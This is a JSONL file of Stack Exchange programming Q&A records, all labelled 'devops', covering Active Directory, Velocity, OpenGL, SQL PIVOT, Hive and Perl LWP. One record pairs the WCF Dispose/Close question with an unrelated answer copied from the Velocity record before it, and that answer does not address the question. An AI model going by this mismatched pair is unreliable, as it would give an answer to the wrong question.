{"id": "hf_c81619a7f3dd", "question": "<p>I'm looking for a way to find a the windows login associated with a specific group. I'm trying to add permissions to a tool that only allows names formatted like:</p>\n\n<pre><code>DOMAIN\\USER \nDOMAIN\\GROUP\n</code></pre>\n\n<p>I have a list of users in active directory format that I need to add:</p>\n\n<pre><code>ou=group1;ou=group2;ou=group3\n</code></pre>\n\n<p>I have tried adding DOMAIN\\Group1, but I get a 'user not found' error.</p>\n\n<p>P.S.  should also be noted that I'm not a Lan admin </p>\n", "question_body": "", "answer": "OU is an Organizational Unit (sort of like a Subfolder in Explorer), not a Group, Hence group1, 2 and 3 are not actually groups.\nYou are looking for the DN Attribute, also called \"distinguishedName\". You can simply use DOMAIN\\DN once you have that.\nEdit: For groups, the CN (Common Name) could also work.\nThe full string from Active Directory normally looks like this:\ncn=Username,cn=Users,dc=DomainName,dc=com\n(Can be longer or shorter, but the important bit is that the \"ou\" part is worthless for what you're trying to achieve.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.836663"}
{"id": "hf_b40ca323b7ea", "question": "<p>What are the best open source (open source and commercial) reporting tools for ASP.NET similar to Crystal Reports for ASP.NET?</p>\n", "question_body": "", "answer": "As much as I despise Crystal Reports (we describe digging deep into it the seven layers of Crystal hell) -- it seems to be the best/most-flexible tool for the job. I hope someone comes along and knocks them off the block though.\nMicrosoft Reporting Services is an alternative, but didn't have the features we needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.859805"}
{"id": "hf_c2082c54b983", "question": "<p>I am looking for open source or free data collaboration software. Specifically this is for a non-profit organization that wants to teach remote students how a foreign language.  The idea is that an instructor would teach a class and there would be up to 10 students in the class at a time.  The instructor would be able to post slides or other teaching material and the students would be able to see it on their computers remotely.  Video is not required but audio is a must.  Any recommendations?</p>\n\n<p>Also if there have been any reviews or feature comparison amongst these products, I would be interested in hearing about them.</p>\n", "question_body": "", "answer": "I know a few of the developers on the Carleton University developed\nBlindside Project\n.  They are actively developing an open-source web conferencing and presentation tool for e-learning, with the intent of eventually offering university courses online.\nIt's pretty fully featured software, and is meant to be installed as a server that can host many conference rooms at a time.  It has voice, video, text, and a whiteboard/slideshow (\nEdit:\nsupports PDF at the moment) capability.  One feature I think it neat is that students can 'raise their hands' in the class to ask the instructor a question, where they can take the floor for a moment.\nCheck out the demo on the site (if it's not working anymore I'll nudge the developers).  Another pro is that the clients only need to have flash installed.\nI just logged onto the online demo and created this preview:\nThis project is now called BigBlueButton :\nhttp://code.google.com/p/bigbluebutton/\nHere is the demo:\nhttp://demo.bigbluebutton.org/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.906035"}
{"id": "hf_6cd3207d11a2", "question": "<p>Does anyone know of a .NET date/time parser similar to <a href=\"http://chronic.rubyforge.org/\" rel=\"noreferrer\">Chronic for Ruby</a> (handles stuff like \"tomorrow\" or \"3pm next thursday\")?</p>\n\n<p>Note: I do write Ruby (which is how I know about Chronic) but this project must use .NET.</p>\n", "question_body": "", "answer": "I'm not aware of one, but it sounded like a cool problem, so here's my whack at it (VB.NET):\n```\n```\nPrivate Function ConvertDateTimeToStringRelativeToNow(ByVal d As DateTime) As String\n    Dim diff As TimeSpan = DateTime.Now().Subtract(d)\n    If diff.Duration.TotalMinutes < 1 Then Return \"Now\"\n\n    Dim str As String\n    If diff.Duration.TotalDays > 365 Then\n        str = CInt(diff.Duration.TotalDays / 365).ToString() & \" years\"\n    ElseIf diff.Duration.TotalDays > 30 Then\n        str = CInt(diff.TotalDays / 30).ToString() & \" months\"\n    ElseIf diff.Duration.TotalHours > 24 Then\n        str = CInt(diff.Duration.TotalHours / 24) & \" days\"\n    ElseIf diff.Duration.TotalMinutes > 60 Then\n        str = CInt(diff.Duration.TotalMinutes / 60) & \" minutes\"\n    Else\n        str = CInt(diff.Duration.TotalMinutes).ToString() & \" minutes\"\n    End If\n    If str.StartsWith(\"1\") Then str = str.SubString(0, str.Length - 1)\n    If diff.TotalDays > 0 Then\n        str &= \" ago\"\n    Else\n        str &= \" from now\"\n    End If\n    Return str\nEnd Function\n```\n```\nIt's really not as sophisticated as ones that already exist, but it works alright I guess.  Could be a nice extension method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.930183"}
{"id": "hf_f093a05d9d3e", "question": "<p>Has anyone had any success running two different web servers -- such as Apache and CherryPy -- alongside each other on the same machine?  I am experimenting with other web servers right now, and I'd like to see if I can do my experiments while keeping my other sites up and running.  You could say that this isn't so much a specific-software question as it is a general networking question.</p>\n\n<ul>\n<li>I know it's possible to run two web servers on different ports; but is there any way to configure them so that they can run on the <em>same port</em> (ie, they both run on port 80)?</li>\n<li>The web servers would <em>not</em> be serving files from the same domains.  For example, Apache might serve up documents from foo.domain.com, and the other web server would serve from bar.domain.com.</li>\n</ul>\n\n<p>I do know that this is not an ideal configuration. I'd just like to see if it can be done before I go sprinting down the rabbit hole.  :)  </p>\n", "question_body": "", "answer": "Your best bet would be putting Apache httpd in front of port 80 and relay requests meant for other servers through Apache by using modules. Most popular scenario would be Tomcat behind Apache where you'll be able to run both php and jsp applications.\nI'm not familiar with CherryPy, so I can only suggest you look for an Apache module for CherryPy.\nEdit: This looks promising:\nhttp://tools.cherrypy.org/wiki/BehindApache", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:58.954238"}
{"id": "hf_9b2f3aad2deb", "question": "<p>When implementing a needle search of a haystack in an object-oriented way, you essentially have three alternatives:</p>\n\n<pre><code>1. needle.find(haystack)\n\n2. haystack.find(needle)\n\n3. searcher.find(needle, haystack)</code></pre>\n\n<p>Which do you prefer, and why?</p>\n\n<p>I know some people prefer the second alternative because it avoids introducing a third object. However, I can't help feeling that the third approach is more conceptually \"correct\", at least if your goal is to model \"the real world\".</p>\n\n<p>In which cases do you think it is justified to introduce helper objects, such as the searcher in this example, and when should they be avoided?</p>\n", "question_body": "", "answer": "This entirely depends on what varies and what stays the same.\nFor example, I am working on a (non-OOP)\nframework\nwhere the find algorithm is different depending both on the type of the needle and the haystack. Apart from the fact that this would require double-dispatch in an object-oriented environment, it also means that it isn't meaningful to write either\n```\nneedle.find(haystack)\n```\nor to write\n```\nhaystack.find(needle)\n```\n.\nOn the other hand, your application could happily delegate finding to either of both classes, or stick with one algorithm altogether in which case the decision is arbitrary. In that case, I would prefer the\n```\nhaystack.find(needle)\n```\nway because it seems more logical to apply the finding to the haystack.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.012767"}
{"id": "hf_3b4cb868758a", "question": "<p>I'm working on some code to colorize an image in Java. Basically what I'd like to do is something along the lines of GIMP's colorize command, so that if I have a BufferedImage and a Color, I can colorize the Image with the given color. Anyone got any ideas? My current best guess at doing something like this is to get the rgb value of each pixel in the BufferedImage and add the RGB value of the Color to it with some scaling factor.</p>\n", "question_body": "", "answer": "Let\n```\nY = 0.3*R + 0.59*G + 0.11*B\n```\nfor each pixel in the image, then set them to be\n```\n((R1+Y)/2,(G1+Y)/2,(B1+Y)/2)\n```\nif\n```\n(R1,G1,B1)\n```\nis what you are colorizing with.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.036610"}
{"id": "hf_eb282d03e13f", "question": "<p>What are some strategies that people have had success with for maintaining a change history for data in a fairly complex database. One of the applications that I frequently use and develop for could really benefit from a more comprehensive way of tracking how records have changed over time. For instance, right now records can have a number of timestamp and modified user fields, but we currently don't have a scheme for logging multiple change, for instance if an operation is rolled back. In a perfect world, it would be possible to reconstruct the record as it was after each save, etc.</p>\n\n<p>Some info on the DB:</p>\n\n<ul>\n<li>Needs to have the capacity to grow by thousands of records per week</li>\n<li>50-60 Tables</li>\n<li>Main revisioned tables may have several million records each</li>\n<li>Reasonable amount of foreign keys and indexes set</li>\n<li>Using PostgreSQL 8.x</li>\n</ul>\n", "question_body": "", "answer": "In the past I have used triggers to construct db update/insert/delete logging.\nYou could insert a record each time one of the above actions is done on a specific table into a logging table that keeps track of the action, what db user did it, timestamp, table it was performed on, and previous value.\nThere is probably a better answer though as this would require you to cache the value before the actual delete or update was performed I think. But you could use this to do rollbacks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.059586"}
{"id": "hf_54246245d4da", "question": "<p>What is the best way to find something in a list?  I know LINQ has some nice tricks, but let's also get suggestions for C# 2.0.  Lets get the best refactorings for this common code pattern.</p>\n\n<p>Currently I use code like this:</p>\n\n<pre><code>// mObjList is a List&lt;MyObject&gt;\nMyObject match = null;\nforeach (MyObject mo in mObjList)\n{\n    if (Criteria(mo))\n    {\n        match = mo;\n        break;\n    }\n}\n</code></pre>\n\n<p>or</p>\n\n<pre><code>// mObjList is a List&lt;MyObject&gt;\nbool foundIt = false;\nforeach (MyObject mo in mObjList)\n{\n    if (Criteria(mo))\n    {\n        foundIt = true;\n        break;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Put the code in a method and you save a temporary and a\n```\nbreak\n```\n(and you recycle code, as a bonus):\n```\n```\nT Find<T>(IEnumerable<T> items, Predicate<T> p) {\n    foreach (T item in items)\n        if (p(item))\n            return item;\n\n    return null;\n}\n```\n```\n… but of course this method already exists anyway for Lists, even in .NET 2.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.083417"}
{"id": "hf_5d9f2c1e1831", "question": "<p>I am using Struts + Velocity in a Java application, but after I submit a form, the confirmation page (Velocity template) shows the variable names instead an empty label, like the Age in following example:</p>\n<blockquote>\n<p><strong>Name</strong>: Fernando</p>\n<p><strong>Age</strong>: {person.age}</p>\n<p><strong>Sex</strong>: Male</p>\n</blockquote>\n<p>I would like to know how to hide it!</p>\n", "question_body": "", "answer": "You can mark variables as \"\nsilent\n\" like this:\n```\n```\n$!variable\n```\n```\nIf $variable is null, nothing will be rendered. If it is not null, its value will render as it normally would.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.130926"}
{"id": "hf_d4f884a511d3", "question": "<p>The <code>Close</code> method on an <code>ICommunicationObject</code> can throw two types of exceptions as MSDN outlines <a href=\"http://msdn.microsoft.com/en-us/library/ms195520.aspx\" rel=\"nofollow noreferrer\">here</a>. I understand why the <code>Close</code> method can throw those exceptions, but what I don't understand is why the <code>Dispose</code> method on a service proxy calls the <code>Close</code> method without a <code>try</code> around it. Isn't your <code>Dispose</code> method the one place where you want make sure you don't throw any exceptions?</p>\n", "question_body": "", "answer": "You can mark variables as \"\nsilent\n\" like this:\n```\n```\n$!variable\n```\n```\nIf $variable is null, nothing will be rendered. If it is not null, its value will render as it normally would.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.158418"}
{"id": "hf_46bf87986d13", "question": "<p>I'm trying to do a simple rotation in OpenGL but must be missing the point.\nI'm not looking for a specific fix so much as a quick explanation or link that explains OpenGL rotation more generally.</p>\n\n<p>At the moment I have code like this:</p>\n\n<pre><code>glPushMatrix();\n  glRotatef(90.0, 0.0, 1.0, 0.0);\n  glBegin(GL_TRIANGLES);        \n    glVertex3f( 1.0, 1.0, 0.0 );        \n    glVertex3f( 3.0, 2.0, 0.0 );        \n    glVertex3f( 3.0, 1.0, 0.0 );        \n  glEnd();\nglPopMatrix();\n</code></pre>\n\n<p>But the result is not a triangle rotated 90 degrees.</p>\n\n<p><strong>Edit</strong>\nHmm thanks to Mike Haboustak - it appeared my code was calling a SetCamera function that use glOrtho.  I'm too new to OpenGL to have any idea of what this meant but disabling this and rotating in the Z-axis produced the desired result. </p>\n", "question_body": "", "answer": "Ensure that you're modifying the modelview matrix by putting the following before the glRotatef call:\n```\n```\nglMatrixMode(GL_MODELVIEW);\n```\n```\nOtherwise, you may be modifying either the projection or a texture matrix instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.205174"}
{"id": "hf_e3f48bbd1044", "question": "<p>Given two different image files (in whatever format I choose), I need to write a program to predict the chance if one being the illegal copy of another. The author of the copy may do stuff like rotating, making negative, or adding trivial details (as well as changing the dimension of the image).</p>\n\n<p>Do you know any algorithm to do this kind of job?</p>\n", "question_body": "", "answer": "Read the paper:\nPorikli, Fatih, Oncel Tuzel, and Peter Meer. “Covariance Tracking Using Model Update Based\non Means on Riemannian Manifolds”. (2006) IEEE Computer Vision and Pattern Recognition.\nI was successfully able to detect overlapping regions in images captured from adjacent webcams using the technique presented in this paper.  My covariance matrix was composed of Sobel, canny and SUSAN aspect/edge detection outputs, as well as the original greyscale pixels.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.242741"}
{"id": "hf_a1ef33da4c38", "question": "<p>I currently use AnkhSVN to integrate subversion into Visual Studio. Is there any reason I should switch to VisualSVN?</p>\n\n<p>AnkhSVN is free (in more than one sense of the word) while VisualSVN costs $50. So right there unless I'm missing some great feature of VisualSVN I don't see any reason to switch.</p>\n", "question_body": "", "answer": "I used VisualSVN until Ankh hit 2.0, and ever since, I've abandoned VisualSVN. Ankh has surpassed VisualSVN in functionality, in my mind, and all the 1.x perf and integration issues are gone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.385840"}
{"id": "hf_50f99e2d29d6", "question": "<p>When writing database queries in something like TSQL or PLSQL, we often have a choice of iterating over rows with a cursor to accomplish the task, or crafting a single SQL statement that does the same job all at once.</p>\n\n<p>Also, we have the choice of simply pulling a large set of data back into our application and then processing it row by row, with C# or Java or PHP or whatever.</p>\n\n<p>Why is it better to use set-based queries?  What is the theory behind this choice?  What is a good example of a cursor-based solution and its relational equivalent?</p>\n", "question_body": "", "answer": "The main reason that I'm aware of is that set-based operations can be optimised by the engine by running them across multiple threads. For example, think of a quicksort - you can separate the list you're sorting into multiple \"chunks\" and sort each separately in their own thread. SQL engines can do similar things with huge amounts of data in one set-based query.\nWhen you perform cursor-based operations, the engine can only run sequentially and the operation has to be single threaded.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.486575"}
{"id": "hf_61b052e4f1db", "question": "<p>I'm interested in finding out how the recently-released (<a href=\"http://mirror.facebook.com/facebook/hive/hadoop-0.17/\" rel=\"noreferrer\">http://mirror.facebook.com/facebook/hive/hadoop-0.17/</a>) Hive compares to HBase in terms of performance. The SQL-like interface used by Hive is very much preferable to the HBase API we have implemented.</p>\n", "question_body": "", "answer": "It's hard to find much about Hive, but I found this\nsnippet\non the Hive site that leans heavily in favor of HBase (bold added):\nHive is based on Hadoop which is a batch processing system. Accordingly, this system does not and\ncannot promise low latencies on queries\n. The paradigm here is strictly of submitting jobs and being notified when the jobs are completed as opposed to real time queries. As a result it should not be compared with systems like Oracle where analysis is done on a significantly smaller amount of data but the analysis proceeds much more iteratively with the response times between iterations being less than a few minutes.\nFor Hive queries response times for even the smallest jobs can be of the order of 5-10 minutes and for larger jobs this may even run into hours.\nSince HBase and HyperTable are all about performance (being modeled on Google's BigTable), they sound like they would certainly be much faster than Hive, at the cost of functionality and a higher learning curve (e.g., they don't have joins or the SQL-like syntax).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.513847"}
{"id": "hf_76742875f816", "question": "<p>What is the purpose of annotations in Java? I have this fuzzy idea of them as somewhere in between a comment and actual code. Do they affect the program at run time?</p>\n\n<p>What are their typical usages?</p>\n\n<p>Are they unique to Java? Is there a C++ equivalent?</p>\n", "question_body": "", "answer": "Also, are they unique to Java, is there a C++ equivalent?\nNo, but VB and C# have\nattributes\nwhich are the same thing.\nTheir use is quite diverse. One typical Java example,\n```\n@Override\n```\nhas no effect on the code but it can be used by the compiler to generate a warning (or error) if the decorated method doesn't actually override another method. Similarly, methods can be marked obsolete.\nThen there's reflection. When you reflect a type of a class in your code, you can access the attributes and act according to the information found there. I don't know any examples in Java but in .NET this is used by the compiler to generate\n(de)serialization\ninformation for classes, determine the\nmemory layout\nof structures and\ndeclare function imports\nfrom legacy libraries (among others). They also control how the IDE form designer works.\n/EDIT: Attributes on classes are comparable to tag interfaces (like\nSerializable\nin Java). However, the .NET coding guidelines say not to use tag interfaces. Also, they only work on class level, not on method level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.591864"}
{"id": "hf_705637317d6b", "question": "<p>Can you use windows hooks or other methods to do code injection with c#? I've seen lots of things about code injection but all of them are done in C/C++. I don't know either of those languages and have a really hard time translating. Does anyone have any ideas on how to do this?</p>\n", "question_body": "", "answer": "Kevin,\nit is possible. You can create library with window hook proc using managed C++. All you need to do is to inject this hook into some application using standard WinAPI (SetWindowsHookEx etc.). Inside this hook you can call System::AppDomain::CurrentDomain->Load method to load your assembly into target application's AppDomain. Then you can call methods defined in your assembly using reflection. For example,\nSnoop\nuses this method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.616138"}
{"id": "hf_332cdf4b9488", "question": "<p>In my second year of University we were \"taught\" Haskell, I know almost nothing about it and even less about functional programming.</p>\n\n<p>What is functional programming, why and/xor where would I want to use it instead of non-functional programming and am I correct in thinking that C is a non-functional programming language?</p>\n", "question_body": "", "answer": "May be worth checking out this article on\nF# \"101\"\non CoDe Mag recently posted.\nAlso,\nDustin Campbell has a great blog\nwhere he has posted many articles on his adventures on getting up to speed with F#..\nI hope you find these useful :)\nEDIT:\nAlso, just to add, my understanding of functional programming is that\neverything\nis a function, or parameters to a function, rather than instances/stateful objects.. But I could be wrong F# is something I am dying to get in to but just dont have the time! :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.676883"}
{"id": "hf_ba38d872e303", "question": "<p>In C# I can use the FileSystemWatcher object to watch for a specific file and raise an event when it is created, modified, etc.</p>\n\n<p>The problem I have with this class is that it raises the event the moment the file becomes created, even if the process which created the file is still in the process of writing. I have found this to be very problematic, especially if I'm trying to read something like an XML document where the file must have some structure to it which won't exist until it is completed being written.</p>\n\n<p>Does .NET (preferably 2.0) have any way to raise an event after the file becomes accessible, or do I have to constantly try reading the file until it doesn't throw an exception to know it is available?</p>\n", "question_body": "", "answer": "Not sure if there is a way of an event actually being raised by the standard class, but I eas experiencing similar problems on some recent work I was doing.\nIn short, I was trying to write to a file that was locked at the time. I ended up wrapping the write method up so it would automatically try the write again in a few ms after..\nThinking out loud, Can you probe the file for a ReadOnly status? May be worth then having a wrapper for file IO which can stack up delegates for pending file operations or something.. Thoughts?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.724676"}
{"id": "hf_00a975130548", "question": "<p>Trying to find some simple SQL Server PIVOT examples.  Most of the examples that I have found involve counting or summing up numbers.  I just want to pivot some string data.  For example, I have a query returning the following.</p>\n\n<pre><code>Action1 VIEW  \nAction1 EDIT  \nAction2 VIEW  \nAction3 VIEW  \nAction3 EDIT  \n</code></pre>\n\n<p>I would like to use PIVOT (if even possible) to make the results like so:</p>\n\n<pre><code>Action1 VIEW EDIT  \nAction2 VIEW NULL  \nAction3 VIEW EDIT  \n</code></pre>\n\n<p>Is this even possible with the PIVOT functionality?</p>\n", "question_body": "", "answer": "Well, for your sample and any with a limited number of unique columns, this should do it.\n```\n```\nselect \n    distinct a,\n    (select distinct t2.b  from t t2  where t1.a=t2.a and t2.b='VIEW'),\n    (select distinct t2.b from t t2  where t1.a=t2.a and t2.b='EDIT')\nfrom t t1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.784782"}
{"id": "hf_ab09d77f6b09", "question": "<p>What is the \"<em>best</em>\" way to store international addresses in a database? Answer in the form of a schema and an explanation of the reasons why you chose to normalize (or not) the way you did. Also explain why you chose the type and length of each field.</p>\n\n<p><strong>Note: You decide what fields you think are necessary.</strong></p>\n", "question_body": "", "answer": "You need to provide a bit more details about how you are planning to use the data. For example, fields like City, State, Country can either be text in the single table, or be codes which are linked to a separate table with a Foreign Key.\nSimplest would be\nAddress_Line_01 (Required, Non blank)\nAddress_Line_02\nAddress_Line_03\nLandmark\nCity (Required)\nPin (Required)\nProvince_District\nState (Required)\nCountry (Required)\nAll the above can be Text/Unicode with appropriate field lengths.\nPhone Numbers as applicable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.808873"}
{"id": "hf_b8dbfe147f41", "question": "<p>I have a Struts + Velocity structure like for example, a Person class, whose one property is a Car object (with its own getter/setter methods) and it is mapped to a Velocity form that submits to an Action, using ModelDriven and getModel structure.</p>\n\n<p>I what to put a button on the form that shows \"View Car\" if car property is not null or car.id != 0 or show another button \"Choose Car\" if car is null or car.id = 0.</p>\n\n<p>How do I code this. I tried something like that in the template file:</p>\n\n<pre><code>#if($car != null)\n  #ssubmit(\"name=view\" \"value=View Car\")\n#else\n  #ssubmit(\"name=new\" \"value=Choose Car\")\n#end\n</code></pre>\n\n<p>But I keep getting error about Null value in the <em>#if</em> line. </p>\n\n<p>I also created a boolean method hasCar() in Person to try, but I can't access it and I don't know why.</p>\n\n<p>And Velocity + Struts tutorials are difficult to find or have good information.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You should change the #if line to:\n```\n```\n#if($car)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.833083"}
{"id": "hf_1f5e7aa59033", "question": "<p>While going through university and from following the development of SO, I've heard a lot about the Model-View-Controller architectural design pattern. I inadvertently used the MVC pattern even before I knew what it was, and still use it in my everyday job. From what I've seen, it's probably the most popular pattern used today. What I haven't heard much about though, are the alternative patterns you can use instead of MVC. What options are there, and for what reasons would you decide to use them over MVC? I'm also interested in knowing the types of systems they are typical of being used for. Finally, what are the pros and cons that come along with using them?</p>\n", "question_body": "", "answer": "Passive View -\nhttp://martinfowler.com/eaaDev/PassiveScreen.html\nSupervising Controller -\nhttp://martinfowler.com/eaaDev/SupervisingPresenter.html\nModel-View-Presenter -\nhttp://martinfowler.com/eaaDev/ModelViewPresenter.html\nMy personal favorite is the\nPassive View\n. More testable than others I've seen including MVC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.857018"}
{"id": "hf_3610d0cafadd", "question": "<p>Not very technical, but... I have to implement a bad words filter in a new site we are developing. So I need a \"good\" bad words list to feed my db with... any hint / direction? Looking around with google I <a href=\"http://urbanoalvarez.es/blog/2008/04/04/bad-words-list/\" rel=\"noreferrer\">found this</a> one, and it's a start, but nothing more.</p>\n\n<p>Yes, I know that this kind of filters are easily escaped... but the client will is the client will !!! :-) </p>\n\n<p>The site will have to filter out both english and italian words, but for italian I can ask my colleagues to help me with a community-built list of \"parolacce\" :-) - an email will do. </p>\n\n<p>Thanks for any help.</p>\n", "question_body": "", "answer": "Beware of\nclbuttic mistakes\n.\n\"Apple made the clbuttic mistake of forcing out their visionary - I mean, look at what NeXT has been up to!\"\nHmm. \"clbuttic\".\nGoogle \"clbuttic\" - thousands of hits!\nThere's someone who call his car 'clbuttic'.\nThere are \"Clbuttic Steam Engine\" message boards.\nWebster's dictionary - no help.\nHmm. What can this be?\nHINT: People who make buttumptions about their regex scripts, will be\n  embarbutted when they repeat this mbuttive mistake.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.881691"}
{"id": "hf_e56db3ebe64c", "question": "<p>I'm trying to fetch Wikipedia pages using <a href=\"http://search.cpan.org/dist/libwww-perl\" rel=\"noreferrer\">LWP::Simple</a>, but they're not coming back. This code:</p>\n\n<pre><code>#!/usr/bin/perl\nuse strict;\nuse LWP::Simple;\n\nprint get(\"http://en.wikipedia.org/wiki/Stack_overflow\");\n</code></pre>\n\n<p>doesn't print anything. But if I use some other webpage, say <code><a href=\"http://www.google.com\" rel=\"noreferrer\">http://www.google.com</a></code>, it works fine. </p>\n\n<p>Is there some other name that I should be using to refer to Wikipedia pages? </p>\n\n<p>What could be going on here?</p>\n", "question_body": "", "answer": "Apparently Wikipedia blocks LWP::Simple requests:\nhttp://www.perlmonks.org/?node_id=695886\nThe following works instead:\n```\n```\n#!/usr/bin/perl\nuse strict;\nuse LWP::UserAgent;\n\nmy $url = \"http://en.wikipedia.org/wiki/Stack_overflow\";\n\nmy $ua = LWP::UserAgent->new();\nmy $res = $ua->get($url);\n\nprint $res->content;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:59.954840"}
